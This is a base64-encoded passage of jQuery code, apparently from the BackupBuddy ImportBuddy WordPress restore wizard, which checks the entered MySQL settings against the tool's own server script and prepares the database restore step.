LmNoYW5nZSggZnVuY3Rpb24oKSB7CgkJCWpRdWVyeSggJyNkYl90ZXN0X2NvbnRhaW5lcicgKS50ZXh0KCcnKS5oaWRlKCk7CgkJfSk7CgkJCgkJalF1ZXJ5KCcuc2V0dGluZ0NvcHkgYScgKS5jbGljayggZnVuY3Rpb24oZSl7CgkJCWUucHJldmVudERlZmF1bHQoKTsKCQkJaWYgKCBqUXVlcnkodGhpcykuaGFzQ2xhc3MoICdzZXR0aW5nQ29weUFsbCcgKSApIHsKCQkJCXJldHVybjsKCQkJfQoJCQlzb3VyY2VWYWwgPSBqUXVlcnkodGhpcykuY2xvc2VzdCgndGQnKS5wcmV2KCd0ZCcpLmZpbmQoJ2lucHV0W3R5cGU9InRleHQiXScpLnZhbCgpOwoJCQlkZXN0aW5hdGlvbiA9IGpRdWVyeSh0aGlzKS5jbG9zZXN0KCd0ZCcpLm5leHQoJ3RkJykuZmluZCgnaW5wdXRbdHlwZT0idGV4dCJdJyk7CgkJCWRlc3RpbmF0aW9uLnZhbCggc291cmNlVmFsICk7CgkJfSk7CgkJalF1ZXJ5KCcuc2V0dGluZ0NvcHlBbGwgYScgKS5jbGljayggZnVuY3Rpb24oZSl7CgkJCWUucHJldmVudERlZmF1bHQoKTsKCQkJcGFyZW50VGFibGUgPSBqUXVlcnkodGhpcykuY2xvc2VzdCgndGFibGUnKTsKCQkJcGFyZW50VGFibGUuZmluZCgndHInKS5lYWNoKCBmdW5jdGlvbigpewoJCQkJc2V0dGluZ0NvcHlJdGVtID0galF1ZXJ5KHRoaXMpLmZpbmQoJy5zZXR0aW5nQ29weScpOwoJCQkJaWYgKCAhIHNldHRpbmdDb3B5SXRlbS5oYXNDbGFzcyggJ3NldHRpbmdDb3B5QWxsJyApICkgewoJCQkJCXNldHRpbmdDb3B5SXRlbS5maW5kKCdhJykudHJpZ2dlcignY2xpY2snKTsKCQkJCX0KCQkJfSk7CgkJfSk7CgkJCgkJCgkJCgkJalF1ZXJ5KCcjcGJfYmFja3VwYnVkZHlfbWFsd2FyZXNjYW5sb2FkaW5nJykuc2xpZGVUb2dnbGUoKTsKCQkKCQlqUXVlcnkoICcuZGJfc2V0dGluZycgKS5jaGFuZ2UoIGZ1bmN0aW9uKCkgewoJCQlqUXVlcnkoJy5wYl9kYXRhYmFzZV9uZXh0X3Rlc3QnKS5yZW1vdmVDbGFzcyggJ2l0LWF0dGVudGlvbicgKTsKCQl9KTsKCQkKCQlqUXVlcnkoJy5wYl9kYXRhYmFzZV9uZXh0X3Rlc3QnKS5jbGljayggZnVuY3Rpb24oZSkgewoJCQllLnByZXZlbnREZWZhdWx0KCk7CgkJCQoJCQlqUXVlcnkoICcjZGJfdGVzdF9jb250YWluZXInICkudGV4dCgnJykuaGlkZSgpOwoJCQkKCQkJaWYgKCAoICcnID09IGpRdWVyeSgnI215c3FsX3NlcnZlcicpLnZhbCgpICkgfHwgKCAnJyA9PSBqUXVlcnkoJyNteXNxbF9kYXRhYmFzZScpLnZhbCgpICkgfHwgKCAnJyA9PSBqUXVlcnkoJyNteXNxbF91c2VybmFtZScpLnZhbCgpICkgfHwgKCAnJyA9PSBqUXVlcnkoJyNteXNxbF9wcmVmaXgnKS52YWwoKSApICkgewoJCQkJalF1ZXJ5KCAnI2RiX3Rlc3RfY29udGFpbmVyJyApLmh0bWwoICc8c3BhbiBjbGFzcz0icGJfbGFiZWwgcGJfbGFiZWwtd2FybmluZyAgYW5pbWF0ZWQgaW5maW5pdGUgdGFkYSI+TWlzc2luZyBGaWVsZHM8L3NwYW4+ICZuYnNwOyZuYnNwOyBBbGwgZGF0YWJhc2Ugc2V0dGluZ3MgKGV4Y2VwdCBvcHRpb25hbCBwYXNzd29yZCkgYXJlIHJlcXVpcmVkIGFuZCBtdXN0IGJlIGVudGVyZWQgdG8gY29udGludWUuJyApLnNob3coKTsKCQkJCWpRdWVyeSgnLnBiX2RhdGFiYXNlX25leHRfdGVzdCcpLmFkZENsYXNzKCAnaXQtYXR0ZW50aW9uJyApOwoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJCQoJCQlOUHJvZ3Jlc3Muc3RhcnQoKTsKCQkJCgkJCWpRdWVyeSgnLmlucHV0LWF0dGVudGlvbicgKS5yZW1vdmVDbGFzcyggJ2lucHV0LWF0dGVudGlvbicgKTsKCQkJalF1ZXJ5KCcucGJfZGF0YWJhc2VfbmV4dF90ZXN0JykucmVtb3ZlQ2xhc3MoICdpdC1hdHRlbnRpb24nICk7CgkJCQoJCQl2YXIgc2VydmVyID0galF1ZXJ5KCcjbXlzcWxfc2VydmVyJykudmFsKCk7CgkJCXZhciBkYXRhYmFzZSA9IGpRdWVyeSgnI215c3FsX2RhdGFiYXNlJykudmFsKCk7CgkJCXZhciB1c2VybmFtZSA9IGpRdWVyeSgnI215c3FsX3VzZXJuYW1lJykudmFsKCk7CgkJCXZhciBwYXNzd29yZCA9IGpRdWVyeSgnI215c3FsX3Bhc3N3b3JkJykudmFsKCk7CgkJCXZhciBwcmVmaXggPSBqUXVlcnkoJyNteXNxbF9wcmVmaXgnKS52YWwoKTsKCQkJdmFyIGRhdGFiYXNlTWV0aG9kU3RyYXRlZ3kgPSBqUXVlcnkoICcjZGF0YWJhc2VNZXRob2RTdHJhdGVneScpLnZhbCgpOwoJCQkKCQkJYmFja3VwYnVkZHlfbG9nKCAnQ2FsbGluZyBteXNxbF90ZXN0IEFKQVguJyk7CgkJCWpRdWVyeS5hamF4KCdpbXBvcnRidWRkeS5waHAnLAoJCQkJewoJCQkJCW1ldGhvZDogJ1BPU1QnLAoJCQkJCWRhdGE6IHsKCQkJCQkJCWFqYXg6ICdteXNxbF90ZXN0JywKCQkJCQkJCXNlcnZlcjogc2VydmVyLAoJCQkJCQkJZGF0YWJhc2U6IGRhdGFiYXNlLAoJCQkJCQkJdXNlcm5hbWU6IHVzZXJuYW1lLAoJCQkJCQkJcGFzc3dvcmQ6IHBhc3N3b3JkLAoJCQkJCQkJcHJlZml4OiBwcmVmaXgKCQkJCQl9LAoJCQkJCWVycm9yOiBmdW5jdGlvbigganFYSFIsIHRleHRTdGF0dXMgKSB7CgkJCQkJCW1lc3NhZ2UgPSAnRVJST1IgIzMyOTcyMzogVW5leHBlY3RlZCBzZXJ2ZXIgcmVzcG9uc2UgZnJvbSBBSkFYLiBTZWUgU3RhdHVzIExvZyBmb3IgbW9yZSBkZXRhaWxzLiBSZXNwb25zZTogYCcgKyB0ZXh0U3RhdHVzICsgJ2AsIEhUVFAgU3RhdHVzOiBgJyArIGpxWEhSLnN0YXR1cyArICdgLCBTdGF0dXMgVGV4dDogYCcgKyBqcVhIUi5zdGF0dXNUZXh0ICsgJ2AsIFJlc3BvbnNlIFRleHQ6IGAnICsganFYSFIucmVzcG9uc2VUZXh0ICsgJ2AuJzsKCQkJCQkJYWxlcnQoIG1lc3NhZ2UgKTsKCQkJCQkJYmFja3VwYnVkZHlfbG9nKCBtZXNzYWdlICk7CgkJCQkJCWpRdWVyeSgnLnBiX2RhdGFiYXNlX25leHRfdGVzdCcpLmFkZENsYXNzKCAnaXQtYXR0ZW50aW9uJyApOwoJCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQkJfSwKCQkJCQlzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7CgkJCQkJCU5Qcm9ncmVzcy5kb25lKCk7CgkJCQkJCWRhdGEgPSBqUXVlcnkudHJpbSggZGF0YSApOwoJCQkJCQliYWNrdXBidWRkeV9sb2coICdNeVNRTCB0ZXN0IHJlc3VsdHM6IGAnICsgZGF0YSArICdgLicgKTsKCQkJCQkJaWYgKCBkYXRhLmluZGV4T2YoIm11c3QgbG9nIGluIikgIT0gLTEpIHsKCQkJCQkJCWFsZXJ0KCAnWW91ciBzZXNzaW9uIGhhcyBleHBpcmVkLiBQbGVhc2UgcmV0dXJuIHRvIHRoZSByZXN0b3JlIGhvbWVwYWdlIGFuZCBsb2cgYmFjayBpbi4nICk7CgkJCQkJCQlqUXVlcnkoJy5wYl9kYXRhYmFzZV9uZXh0X3Rlc3QnKS5hZGRDbGFzcyggJ2l0LWF0dGVudGlvbicgKTsKCQkJCQkJCXJldHVybiBmYWxzZTsKCQkJCQkJfQoKCQkJCQkJLy8gUGFyc2UganNvbi4KCQkJCQkJdHJ5IHsKCQkJCQkJCXJlc3BvbnNlID0gSlNPTi5wYXJzZSggZGF0YSApOwoJCQkJCQl9IGNhdGNoKGUpIHsKCQkJCQkJCW1lc3NhZ2UgPSAnRVJST1IgIzgzOTk4MzogRmFpbHVyZSBwYXJzaW5nIHJldHVybmVkIHNlcnZlciBkYXRhLiBTZWUgU3RhdHVzIExvZyBmb3IgbW9yZSBkZXRhaWxzLiBEZXRhaWxzOiBgJyArIGUubWVzc2FnZSArICdgLiBSZXNwb25zZTogYCcgKyBkYXRhICsgJ2AuJzsKCQkJCQkJCWFsZXJ0KCBtZXNzYWdlICk7CgkJCQkJCQliYWNrdXBidWRkeV9sb2coIG1lc3NhZ2UgKTsKCQkJCQkJCWpRdWVyeSgnLnBiX2RhdGFiYXNlX25leHRfdGVzdCcpLmFkZENsYXNzKCAnaXQtYXR0ZW50aW9uJyApOwoJCQkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJCQl9CgkJCQkJCWNvbnNvbGUubG9nKCByZXNwb25zZSApOwoJCQkJCQkKCQkJCQkJCgkJCQkJCS8vIE9WRVJBTEwgRVJST1IKCQkJCQkJaWYgKCAnJyAhPSByZXNwb25zZS5vdmVyYWxsX2Vycm9yICkgewoJCQkJCQkJalF1ZXJ5KCAnI2RiX3Rlc3RfY29udGFpbmVyJyApLmh0bWwoICc8c3BhbiBjbGFzcz0icGJfbGFiZWwgcGJfbGFiZWwtd2FybmluZyBhbmltYXRlZCBpbmZpbml0ZSB0YWRhIj5FcnJvcjwvc3Bhbj4gJm5ic3A7Jm5ic3A7ICcgKyByZXNwb25zZS5vdmVyYWxsX2Vycm9yICkuc2hvdygpOwoJCQkJCQkJalF1ZXJ5KCcucGJfZGF0YWJhc2VfbmV4dF90ZXN0JykuYWRkQ2xhc3MoICdpdC1hdHRlbnRpb24nICk7CgkJCQkJCQliYWNrdXBidWRkeV9sb2coICdteXNxbCB0ZXN0IGVycm9yLiBTZWUgcmVzdWx0cyBhYm92ZS4nICk7CgkJCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQkJCX0KCQkJCQkJCgkJCQkJCQoJCQkJCQkvLyBFUlJPUlMKCQkJCQkJaWYgKCBmYWxzZSA9PT0gcmVzcG9uc2UuY29ubmVjdCApIHsKCQkJCQkJCWpRdWVyeSggJyNteXNxbF9zZXJ2ZXIsI215c3FsX3VzZXJuYW1lLCNteXNxbF9wYXNzd29yZCcgKS5hZGRDbGFzcyggJ2lucHV0LWF0dGVudGlvbicgKTsKCQkJCQkJCWpRdWVyeSggJyNkYl90ZXN0X2NvbnRhaW5lcicgKS5odG1sKCAnPHNwYW4gY2xhc3M9InBiX2xhYmVsIHBiX2xhYmVsLXdhcm5pbmcgYW5pbWF0ZWQgaW5maW5pdGUgdGFkYSI+RGF0YWJhc2UgRXJyb3I8L3NwYW4+ICZuYnNwOyZuYnNwOyBVbmFibGUgdG8gY29ubmVjdCAvIGF1dGhlbnRpY2F0ZSB0byBNeVNRTCBzZXJ2ZXIuICcgKyByZXNwb25zZS5jb25uZWN0X2Vycm9yICkuc2hvdygpOwoJCQkJCQkJalF1ZXJ5KCcucGJfZGF0YWJhc2VfbmV4dF90ZXN0JykuYWRkQ2xhc3MoICdpdC1hdHRlbnRpb24nICk7CgkJCQkJCQliYWNrdXBidWRkeV9sb2coICdteXNxbCB0ZXN0IGVycm9yLiBTZWUgcmVzdWx0cyBhYm92ZS4nICk7CgkJCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQkJCX0KCQkJCQkJCgkJCQkJCWlmICggZmFsc2UgPT09IHJlc3BvbnNlLnNlbGVjdGRiICkgewoJCQkJCQkJalF1ZXJ5KCAnI215c3FsX2RhdGFiYXNlJyApLmFkZENsYXNzKCAnaW5wdXQtYXR0ZW50aW9uJyApOwoJCQkJCQkJalF1ZXJ5KCAnI2RiX3Rlc3RfY29udGFpbmVyJyApLmh0bWwoICc8c3BhbiBjbGFzcz0icGJfbGFiZWwgcGJfbGFiZWwtd2FybmluZyBhbmltYXRlZCBpbmZpbml0ZSB0YWRhIj5EYXRhYmFzZSBFcnJvcjwvc3Bhbj4gJm5ic3A7Jm5ic3A7IFVuYWJsZSB0byBzZWxlY3QgZGF0YWJhc2UuIFZlcmlmeSB0aGUgZGF0YWJhc2UgZXhpc3RzICYgdGhlIHVzZXIgd2FzIGdyYW50ZWQgQUxMIHByaXZpbGVnZXMuICcgKyByZXNwb25zZS5zZWxlY3RkYl9lcnJvciApLnNob3coKTsKCQkJCQkJCWpRdWVyeSgnLnBiX2RhdGFiYXNlX25leHRfdGVzdCcpLmFkZENsYXNzKCAnaXQtYXR0ZW50aW9uJyApOwoJCQkJCQkJYmFja3VwYnVkZHlfbG9nKCAnbXlzcWwgdGVzdCBlcnJvci4gU2VlIHJlc3VsdHMgYWJvdmUuJyApOwoJCQkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJCQl9CgkJCQkJCQoJCQkJCQlpZiAoIGZhbHNlID09PSByZXNwb25zZS5jcmVhdGVkcm9wdGFibGUgKSB7CgkJCQkJCQlqUXVlcnkoICcjZGJfdGVzdF9jb250YWluZXInICkuaHRtbCggJzxzcGFuIGNsYXNzPSJwYl9sYWJlbCBwYl9sYWJlbC13YXJuaW5nIGFuaW1hdGVkIGluZmluaXRlIHRhZGEiPkRhdGFiYXNlIEVycm9yPC9zcGFuPiAmbmJzcDsmbmJzcDsgVW5hYmxlIHRvIGNyZWF0ZSAmIGRyb3AgdGVzdCB0YWJsZS4gVmVyaWZ5IHRoZSBlbnRlcmVkIHVzZXIgaGFzIEFMTCBwcml2aWxlZ2VzIGZvciB0aGUgc3BlY2lmaWVkIGRhdGFiYXNlLiAnICsgcmVzcG9uc2UuY3JlYXRlZHJvcHRhYmxlX2Vycm9yICkuc2hvdygpOwoJCQkJCQkJalF1ZXJ5KCcucGJfZGF0YWJhc2VfbmV4dF90ZXN0JykuYWRkQ2xhc3MoICdpdC1hdHRlbnRpb24nICk7CgkJCQkJCQliYWNrdXBidWRkeV9sb2coICdteXNxbCB0ZXN0IGVycm9yLiBTZWUgcmVzdWx0cyBhYm92ZS4nICk7CgkJCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQkJCX0KCQkJCQkJaWYgKCBmYWxzZSA9PT0gcmVzcG9uc2UucHJlZml4ICkgewoJCQkJCQkJalF1ZXJ5KCAnI2RiX3Rlc3RfY29udGFpbmVyJyApLmh0bWwoICc8c3BhbiBjbGFzcz0icGJfbGFiZWwgcGJfbGFiZWwtd2FybmluZyBhbmltYXRlZCBpbmZpbml0ZSB0YWRhIj5EYXRhYmFzZSBFcnJvcjwvc3Bhbj4gJm5ic3A7Jm5ic3A7IFRoZSBzcGVjaWZpZWQgcHJlZml4IGRvZXMgbm90IHRoZSBiYXJlIG1pbmltdW0gY3JpdGVyaWEgZm9yIFdvcmRQcmVzcy4gSXQgc2hvdWxkIGJlIGluIHRoZSBmb3JtYXQgb2YgbGV0dGVycyAob3IgbnVtYmVycywgYnV0IG5vdCBhdCB0aGUgYmVnaW5uaW5nKSBmb2xsb3dlZCBieSBhbiB1bmRlcnNjb3JlLiA8Yj5FaXRoZXIgY2hhbmdlIHRoZSBwcmVmaXggb3Igc2VsZWN0IHRvIGlnbm9yZSB0aGlzIHdhcm5pbmcgYmVsb3cgdG8gcHJvY2VlZC48L2I+IEV4YW1wbGVzOiB3cF8sIHdwMl8sIG15d29yZHByZXNzXywgZHVzdGluczJuZGJsb2dfJyApLnNob3coKTsKCQkJCQkJCWpRdWVyeSggJyNkYl93aXBlX29wdGlvbnMnICkuc2hvdygpOwoJCQkJCQkJalF1ZXJ5KCcucGJfZGF0YWJhc2VfbmV4dF90ZXN0JykuYWRkQ2xhc3MoICdpdC1hdHRlbnRpb24nICk7CgkJCQkJCQliYWNrdXBidWRkeV9sb2coICdteXNxbCB0ZXN0IGVycm9yLiBTZWUgcmVzdWx0cyBhYm92ZS4nICk7CgkJCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQkJCX0KCQkJCQkJCgkJCQkJCQoJCQkJCQkKCQkJCQkJLy8gUFJFRklYIFdBUk5JTkdTCgkJCQkJCXByZWZpeF93YXJuX2lnbm9yZSA9IGpRdWVyeSggJyNpZ25vcmVfcHJlZml4X3dhcm5pbmdzX2NoZWNrYm94JyApLmlzKCI6Y2hlY2tlZCIpOwoJCQkJCQkKCQkJCQkJaWYgKCAoIHRydWUgPT09IHJlc3BvbnNlLnByZWZpeF93YXJuICkgJiYgKCB0cnVlID09PSB3aW5kb3cucmVzdG9yZURhdGEucmVzdG9yZURhdGFiYXNlICkgKSB7CgkJCQkJCQlpZiAoICFwcmVmaXhfd2Fybl9pZ25vcmUgKSB7CgkJCQkJCQkJalF1ZXJ5KCAnI2RiX3Rlc3RfY29udGFpbmVyJyApLmh0bWwoICc8c3BhbiBjbGFzcz0icGJfbGFiZWwgcGJfbGFiZWwtd2FybmluZyBhbmltYXRlZCBpbmZpbml0ZSB0YWRhIj5EYXRhYmFzZSBXYXJuaW5nPC9zcGFuPiAmbmJzcDsmbmJzcDsgQSBwcmVmaXggaW4gdGhlIGZvcm1hdCBvZiBhbHBoYW51bWVyaWMgY2hhcmFjdGVycyBmb2xsb3dlZCBieSBhbiB1bmRlcnNjb3JlIGlzIDxiPmhpZ2hseSByZWNvbW1lbmRlZDwvYj4gdG8gY29uZm9ybSB0byBXb3JkUHJlc3MgJiBCYWNrdXBCdWRkeSBjb252ZW50aW9ucyAmIGV4cGVjdGF0aW9ucy4gVGhpcyBtYXkgYWxzbyBjYXVzZSB3YXJuaW5ncyBvZiB0YWJsZXMgYWxyZWFkeSBleGlzdGluZyB0aGF0IGRvIG5vdC4gPGI+RWl0aGVyIGNoYW5nZSB0aGUgcHJlZml4IG9yIHNlbGVjdCB0byBpZ25vcmUgdGhpcyB3YXJuaW5nIGJlbG93IHRvIHByb2NlZWQuPC9iPiBFeGFtcGxlczogd3BfLCB3cDJfLCBteXdvcmRwcmVzc18sIGR1c3RpbnMybmRibG9nXycgKS5zaG93KCk7CgkJCQkJCQkJalF1ZXJ5KCAnI2RiX3dpcGVfb3B0aW9ucycgKS5zaG93KCk7CgkJCQkJCQkJalF1ZXJ5KCAnI2lnbm9yZV9wcmVmaXhfd2FybmluZ3MnICkuc2hvdygpOwoJCQkJCQkJCWpRdWVyeSgnLnBiX2RhdGFiYXNlX25leHRfdGVzdCcpLmFkZENsYXNzKCAnaXQtYXR0ZW50aW9uJyApOwoJCQkJCQkJCWJhY2t1cGJ1ZGR5X2xvZyggJ215c3FsIHByZWZpeCBmb3JtYXQgd2FybmluZy4nICk7CgkJCQkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJCQkJfQoJCQkJCQl9IGVsc2UgeyAvLyBObyBwcmVmaXggZm9ybWF0IHdhcm5pbmcgc28gaGlkZSBvcHRpb24gdG8gYnlwYXNzLgoJCQkJCQkJalF1ZXJ5KCAnI2lnbm9yZV9wcmVmaXhfd2FybmluZ3NfY2hlY2tib3gnICkuYXR0cignY2hlY2tlZCcsIGZhbHNlKTsKCQkJCQkJCWpRdWVyeSggJyNpZ25vcmVfcHJlZml4X3dhcm5pbmdzJykuaGlkZSgpOwoJCQkJCQl9CgkJCQkJCQoJCQkJCQkvLyBQcmVmaXggZXhpc3RzLgoJCQkJCQlpZiggICggdHJ1ZSA9PT0gcmVzcG9uc2UucHJlZml4X2V4aXN0cyApICYmICggdHJ1ZSA9PT0gd2luZG93LnJlc3RvcmVEYXRhLnJlc3RvcmVEYXRhYmFzZSApICkgewoJCQkJCQkJaWYgKCAoICEgalF1ZXJ5KCAnI3dpcGVfcHJlZml4JykuaXMoICc6Y2hlY2tlZCcgKSApICYmICggISBqUXVlcnkoICcjd2lwZV9kYXRhYmFzZScpLmlzKCAnOmNoZWNrZWQnICkgKSApIHsKCQkJCQkJCQliYWNrdXBidWRkeV9sb2coICdteXNxbCBwcmVmaXggZXhpc3RzIHdhcm5pbmcuJyApOwoJCQkJCQkJCWpRdWVyeSggJyNkYl90ZXN0X2NvbnRhaW5lcicgKS5odG1sKCAnPHNwYW4gY2xhc3M9InBiX2xhYmVsIHBiX2xhYmVsLXdhcm5pbmcgYW5pbWF0ZWQgaW5maW5pdGUgdGFkYSI+RGF0YWJhc2UgV2FybmluZzwvc3Bhbj4gJm5ic3A7Jm5ic3A7IFRoZSBzcGVjaWZpZWQgcHJlZml4IGFwcGVhcnMgdG8gYWxyZWFkeSBleGlzdCBpbiB0aGlzIGRhdGFiYXNlLiBSZXN0b3JpbmcgbWF5IG92ZXJ3cml0ZSBleGlzdGluZyBXb3JkUHJlc3MgZGF0YS4gPGI+Q2hhbmdlIHRoZSBwcmVmaXgsIHNlbGVjdCB0byBkZWxldGUgZXhpc3RpbmcgdGFibGVzIGJlbG93LCBvciB1c2UgdGhlIGFkdmFuY2VkIG9wdGlvbiB0byBpZ25vcmUgU1FMIGVycm9ycyB0byBwcm9jZWVkLjwvYj4nICkuc2hvdygpOwoJCQkJCQkJCWpRdWVyeSggJyNkYl93aXBlX29wdGlvbnMnICkuc2hvdygpOwoJCQkJCQkJCWlmICggIGpRdWVyeSgnI2lnbm9yZV9zcWxfZXJyb3JzJykuaXMoICc6Y2hlY2tlZCcgKSApIHsKCQkJCQkJCQkJalF1ZXJ5KCAnI2RiX3Rlc3RfY29udGFpbmVyJyApLmh0bWwoICc8c3BhbiBjbGFzcz0icGJfbGFiZWwgcGJfbGFiZWwtd2FybmluZyBhbmltYXRlZCBpbmZpbml0ZSB0YWRhIj5EYXRhYmFzZSBXYXJuaW5nPC9zcGFuPiAmbmJzcDsmbmJzcDsgVGhlIHNwZWNpZmllZCBwcmVmaXggYXBwZWFycyB0byBhbHJlYWR5IGV4aXN0IGluIHRoaXMgZGF0YWJhc2UuIEhvd2V2ZXIsIHRoZSBhZHZhbmNlZCBvcHRpb24gdG8gaWdub3JlIGV4aXN0aW5nIHRhYmxlcyAmIFNRTCBlcnJvcnMgd2FzIHNlbGVjdGVkLiBVc2UgZXh0cmVtZSBjYXV0aW9uLicgKS5zaG93KCk7CgkJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQkJalF1ZXJ5KCcucGJfZGF0YWJhc2VfbmV4dF90ZXN0JykuYWRkQ2xhc3MoICdpdC1hdHRlbnRpb24nICk7CgkJCQkJCQkJCXJldHVybiBmYWxzZTsKCQkJCQkJCQl9CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQkJCgkJCQkJCWJhY2t1cGJ1ZGR5X2xvZyggJ215c3FsIHRlc3Qgc3VjY2Vzcy4uLi4gcHJvY2VlZGluZyB0byBpbXBvcnQgc29vbi4nICk7CgkJCQkJCQoJCQkJCQkvLyBTZXQgdXAgZGF0YWJhc2Ugc2V0dGluZ3MgaW4gcmVzdG9yZURhdGEuCgkJCQkJCXdpbmRvdy5yZXN0b3JlRGF0YS5kYXRhYmFzZVNldHRpbmdzLnNlcnZlciA9IHNlcnZlcjsKCQkJCQkJd2luZG93LnJlc3RvcmVEYXRhLmRhdGFiYXNlU2V0dGluZ3MuZGF0YWJhc2UgPSBkYXRhYmFzZTsKCQkJCQkJd2luZG93LnJlc3RvcmVEYXRhLmRhdGFiYXNlU2V0dGluZ3MudXNlcm5hbWUgPSB1c2VybmFtZTsKCQkJCQkJd2luZG93LnJlc3RvcmVEYXRhLmRhdGFiYXNlU2V0dGluZ3MucGFzc3dvcmQgPSBwYXNzd29yZDsKCQkJCQkJd2luZG93LnJlc3RvcmVEYXRhLmRhdGFiYXNlU2V0dGluZ3MucHJlZml4ID0gcHJlZml4OwoJCQkJCQl3aW5kb3cucmVzdG9yZURhdGEuZGF0YWJhc2VTZXR0aW5ncy5kYXRhYmFzZU1ldGhvZFN0cmF0ZWd5ID0gZGF0YWJhc2VNZXRob2RTdHJhdGVneTsKCQkJCQkKCQkJCQkJaWYgKCBqUXVlcnkoICcjd2lwZV9wcmVmaXgnKS5pcyggJzpjaGVja2VkJyApICkgewoJCQkJCQkJd2luZG93LnJlc3RvcmVEYXRhLmRhdGFiYXNlU2V0dGluZ3Mud2lwZVByZWZpeCA9IHRydWU7CgkJCQkJCX0gZWxzZSB7CgkJCQkJCQl3aW5kb3cucmVzdG9yZURhdGEuZGF0YWJhc2VTZXR0aW5ncy53aXBlUHJlZml4ID0gZmFsc2U7CgkJCQkJCX0KCQkJCQkJaWYgKCBqUXVlcnkoICcjd2lwZV9kYXRhYmFzZScpLmlzKCAnOmNoZWNrZWQnICkgKSB7CgkJCQkJCQl3aW5kb3cucmVzdG9yZURhdGEuZGF0YWJhc2VTZXR0aW5ncy53aXBlRGF0YWJhc2UgPSB0cnVlOwoJCQkJCQl9IGVsc2UgewoJCQkJCQkJd2luZG93LnJlc3RvcmVEYXRhLmRhdGFiYXNlU2V0dGluZ3Mud2lwZURhdGFiYXNlID0gZmFsc2U7CgkJCQkJCX0KCQkJCQkJaWYgKCBqUXVlcnkoICcjaWdub3JlX3NxbF9lcnJvcnMnKS5pcyggJzpjaGVja2VkJyApICkgewoJCQkJCQkJd2luZG93LnJlc3RvcmVEYXRhLmRhdGFiYXNlU2V0dGluZ3MuaWdub3JlU3FsRXJyb3JzID0gdHJ1ZTsKCQkJCQkJfSBlbHNlIHsKCQkJCQkJCXdpbmRvdy5yZXN0b3JlRGF0YS5kYXRhYmFzZVNldHRpbmdzLmlnbm9yZVNxbEVycm9ycyA9IGZhbHNlOwoJCQkJCQl9CgkJCQkJCWlmICggalF1ZXJ5KCAnI2RiX2ZvcmNlX3NzbCcpLmlzKCAnOmNoZWNrZWQnICkgKSB7CgkJCQkJCQl3aW5kb3cucmVzdG9yZURhdGEuZGF0YWJhc2VTZXR0aW5ncy5kYl9mb3JjZV9zc2wgPSB0cnVlOwoJCQkJCQl9IGVsc2UgewoJCQkJCQkJd2luZG93LnJlc3RvcmVEYXRhLmRhdGFiYXNlU2V0dGluZ3MuZGJfZm9yY2Vfc3NsID0gZmFsc2U7CgkJCQkJCX0KCQkJCQkJCgkJCQkJCS8vIERldGVybWluZSBTUUwgZmlsZXMgdG8gcmVzdG9yZSBiYXNlZCBvbiBhZHZhbmNlZCBjaGVja2VkIGl0ZW1zLiBPdmVyd3JpdGVzIHByaW9yIHZhbHVlIG9mIHRoaXMgdmFyLgoJCQkJCQl3aW5kb3cucmVzdG9yZURhdGEuZGF0YWJhc2VTZXR0aW5ncy5zcWxGaWxlcyA9IFtdOwoJCQkJCQlqUXVlcnkoJy5kYXRhYmFzZUZpbGU6Y2hlY2tlZCcpLmVhY2goIGZ1bmN0aW9uKCl7CgkJCQkJCQl3aW5kb3cucmVzdG9yZURhdGEuZGF0YWJhc2VTZXR0aW5ncy5zcWxGaWxlcy5wdXNoKCBqUXVlcnkodGhpcykudmFsKCkgKTsKCQkJCQkJfSk7CgkJCQkJCQoJCQkJCQkvLyBVcGRhdGUgbWF4IGV4ZWN1dGlvbiB0aW1lLgoJCQkJCQl3aW5kb3cucmVzdG9yZURhdGEubWF4RXhlY3V0aW9uVGltZSA9IGpRdWVyeSgnI21heF9leGVjdXRpb25fdGltZScpLnZhbCgpOwoJCQkJCQkKCQkJCQkJLy8gTWFkZSBpdCBoZXJlIHNvIG11c3QgaGF2ZSBiZWVuIHN1Y2Nlc3MuCgkJCQkJCWNvbnNvbGUuZGlyKCB3aW5kb3cucmVzdG9yZURhdGEgKTsKCQkJCQkJCgkJCQkJCWpRdWVyeSgnI2JhY2t1cGJ1ZGR5LWRiU2V0dGluZ3NGb3JtLXJlc3RvcmVEYXRhJykudmFsKCB3aW5kb3cuYnRvYSggZW5jb2RlVVJJQ29tcG9uZW50KCBKU09OLnN0cmluZ2lmeSggd2luZG93LnJlc3RvcmVEYXRhICkgKSApICk7IC8vIHdpbmRvdy5idG9hKCkgYmFzZTY0IGVuY29kZXMgdG8gZ2V0IGFyb3VuZCB0cmFuc2ZlciBpc3N1ZXMgKyBDaHJvbWUgWFNTIGF1ZGl0b3IuIGVuY29kZVVSSUNvbXBvbmVudCBuZWVkZWQgdG8ga2VlcCBVVEY4IGZyb20gZ2V0dGluZyBtdWNrZWQgdXAgZ29pbmcgb3ZlciB0byBQSFAncyBqc29uX2RlY29kZSgpLiBCbGVjaCEKCQkJCQkJalF1ZXJ5KCcjZGF0YWJhc2UtYm94JykuaGlkZSgpOwoJCQkJCQkKCQkJCQkJYmFja3VwYnVkZHlfbG9nKCAnTW92aW5nIG9uIHRvIGltcG9ydGluZ0RhdGFiYXNlIHN0ZXAgbm93Li4uJyApOwoJCQkJCQlqUXVlcnkoJyNkYXRhYmFzZS1ib3gtd29ya2luZycpLmh0bWwoIG5ldyBFSlMoe3VybDogJ2ltcG9ydGJ1ZGR5L3ZpZXdzL2ltcG9ydGluZ0RhdGFiYXNlLmh0bSd9KS5yZW5kZXIoKSApOwoJCQkJCQlqUXVlcnkoICcjYmFja3VwYnVkZHktZGJTZXR0aW5nc0Zvcm0nKS5zdWJtaXQoKTsKCQkJCQkJCgkJCQkJCXJldHVybjsKCQkJCQl9CgkJCQl9CgkJCSk7CgkJCXJldHVybiBmYWxzZTsKCQl9KTsKCQkKCQkKCQlqUXVlcnkoJy5jcmVhdGVkYl9tb2RhbF9saW5rJykuY2xpY2soIGZ1bmN0aW9uKCkgewoJCQl1cmwgPSBqUXVlcnkoJyNzaXRlX3VybCcpLnZhbCgpOwoJCQl2YXIgaG9zdG5hbW